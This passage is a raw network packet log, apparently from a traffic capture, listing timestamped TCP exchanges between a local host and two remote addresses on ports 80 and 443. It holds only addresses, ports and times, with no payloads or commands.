Dec 20, 2024 07:12:19.191137075 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.191184998 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.192200899 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.192250013 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.192310095 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.192357063 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.193347931 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.193399906 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.193455935 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.193506002 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.194534063 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.194607973 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.194665909 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.194713116 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.195708990 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.195756912 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.195837021 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.195900917 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.196825981 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.196873903 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.196947098 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.197007895 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.198024035 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.198079109 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.198115110 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.198163986 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.199157953 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.199208021 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.199244022 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.199292898 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.200339079 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.200387001 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.200443983 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.200490952 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.201488972 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.201539040 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.201661110 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.201714993 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.202645063 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.202696085 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.202765942 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.202816010 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.203807116 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.203860044 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.203913927 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.203962088 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.205003977 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.205055952 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.205079079 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.205096960 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.206147909 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.206198931 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.206234932 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.206283092 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.207309008 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.207366943 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.207501888 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.207555056 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.208511114 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.208558083 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.208585978 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.208636999 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.209605932 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.209650040 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.209707022 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.209759951 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.210792065 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.210856915 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.210892916 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.210952044 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.211954117 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.212009907 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.212037086 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.212089062 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.213104010 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.213162899 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.213299990 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.213360071 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.214281082 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.214329958 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.214462996 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.214509964 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.215435028 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.215513945 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.215550900 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.215600967 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.216639042 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.216689110 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.216918945 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.216967106 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.217767000 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.217825890 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.217885971 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.217935085 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.218930960 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.218981028 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.219002008 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.219046116 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.220102072 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.220154047 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.220186949 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.220233917 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.221240044 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.221292019 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.221355915 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.221405029 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.222455978 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.222511053 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.222531080 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.222579002 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.223604918 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.223654985 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.223694086 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.223742008 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.224733114 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.224786043 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.224855900 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.224903107 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.226003885 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.226074934 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.226109028 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.226157904 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.227082014 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.227133989 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.227175951 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.227225065 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.228215933 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.228266001 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.228333950 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.228421926 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.229434967 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.229487896 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.229557037 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.229604959 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.230602980 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.230653048 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.230722904 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.230773926 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.231719971 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.231770039 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.231933117 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.231981993 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.232877016 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.232927084 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.232980967 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.233030081 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.233983040 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.234033108 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.308895111 CET	443	49780	172.67.209.202	192.168.2.4
Dec 20, 2024 07:12:19.309130907 CET	443	49780	172.67.209.202	192.168.2.4
Dec 20, 2024 07:12:19.309211969 CET	49780	443	192.168.2.4	172.67.209.202
Dec 20, 2024 07:12:19.309237003 CET	443	49780	172.67.209.202	192.168.2.4
Dec 20, 2024 07:12:19.309278011 CET	443	49780	172.67.209.202	192.168.2.4
Dec 20, 2024 07:12:19.309345961 CET	49780	443	192.168.2.4	172.67.209.202
Dec 20, 2024 07:12:19.309396029 CET	443	49780	172.67.209.202	192.168.2.4
Dec 20, 2024 07:12:19.316926956 CET	443	49780	172.67.209.202	192.168.2.4
Dec 20, 2024 07:12:19.317023993 CET	49780	443	192.168.2.4	172.67.209.202
Dec 20, 2024 07:12:19.317054987 CET	443	49780	172.67.209.202	192.168.2.4
Dec 20, 2024 07:12:19.325280905 CET	443	49780	172.67.209.202	192.168.2.4
Dec 20, 2024 07:12:19.325350046 CET	49780	443	192.168.2.4	172.67.209.202
Dec 20, 2024 07:12:19.325366020 CET	443	49780	172.67.209.202	192.168.2.4
Dec 20, 2024 07:12:19.364999056 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.365109921 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.365190029 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.365190029 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.365602970 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.365660906 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.365665913 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.365708113 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.366688013 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.366739035 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.367127895 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.367177963 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.367268085 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.367326021 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.368297100 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.368350983 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.368415117 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.368463993 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.369046926 CET	49780	443	192.168.2.4	172.67.209.202
Dec 20, 2024 07:12:19.369065046 CET	443	49780	172.67.209.202	192.168.2.4
Dec 20, 2024 07:12:19.369436979 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.369488001 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.369554996 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.369606018 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.370615005 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.370659113 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.370666981 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.370702982 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.371773958 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.371825933 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.371958017 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.372003078 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.372932911 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.372987032 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.373008013 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.373060942 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.374110937 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.374170065 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.374250889 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.374300003 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.375274897 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.375349045 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.375447989 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.375494003 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.376441956 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.376492977 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.376508951 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.376557112 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.377589941 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.377639055 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.377676010 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.377722979 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.378743887 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.378793955 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.378882885 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.378931046 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.379908085 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.379959106 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.380011082 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.380057096 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.381071091 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.381124973 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.381253004 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.381308079 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.382231951 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.382281065 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.382335901 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.382385015 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.383383036 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.383431911 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.383445978 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.383496046 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.384569883 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.384637117 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.384670973 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.384717941 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.385725975 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.385795116 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.385821104 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.385870934 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.386914015 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.386969090 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.387005091 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.387052059 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.388075113 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.388128996 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.388156891 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.388206959 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.389209986 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.389261961 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.389828920 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.389878988 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.390364885 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.390419960 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.390469074 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.390516996 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.391526937 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.391576052 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.391660929 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.391715050 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.392692089 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.392741919 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.392793894 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.392841101 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.393851995 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.393902063 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.393949986 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.393997908 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.395031929 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.395085096 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.395107985 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.395155907 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.396176100 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.396223068 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.396286964 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.396337986 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.397340059 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.397394896 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.397424936 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.397475958 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.398503065 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.398562908 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.398612976 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.398663998 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.399667025 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.399724960 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.399780035 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.399846077 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.400825024 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.400891066 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.400954008 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.401001930 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.402004957 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.402056932 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.402087927 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.402127028 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.403170109 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.403224945 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.403340101 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.403393984 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.404320002 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.404371023 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.404416084 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.404464006 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.405463934 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.405520916 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.405576944 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.405626059 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.406646013 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.406697035 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.406755924 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.406805992 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.407840014 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.407887936 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.407999992 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.408056021 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.408978939 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.409040928 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.409074068 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.409125090 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.410139084 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.410201073 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.410232067 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.410285950 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.411305904 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.411359072 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.411390066 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.411433935 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.412450075 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.412499905 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.412556887 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.412614107 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.413621902 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.413671017 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.413767099 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.413814068 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.414841890 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.414904118 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.414940119 CET	80	49777	31.41.244.11	192.168.2.4
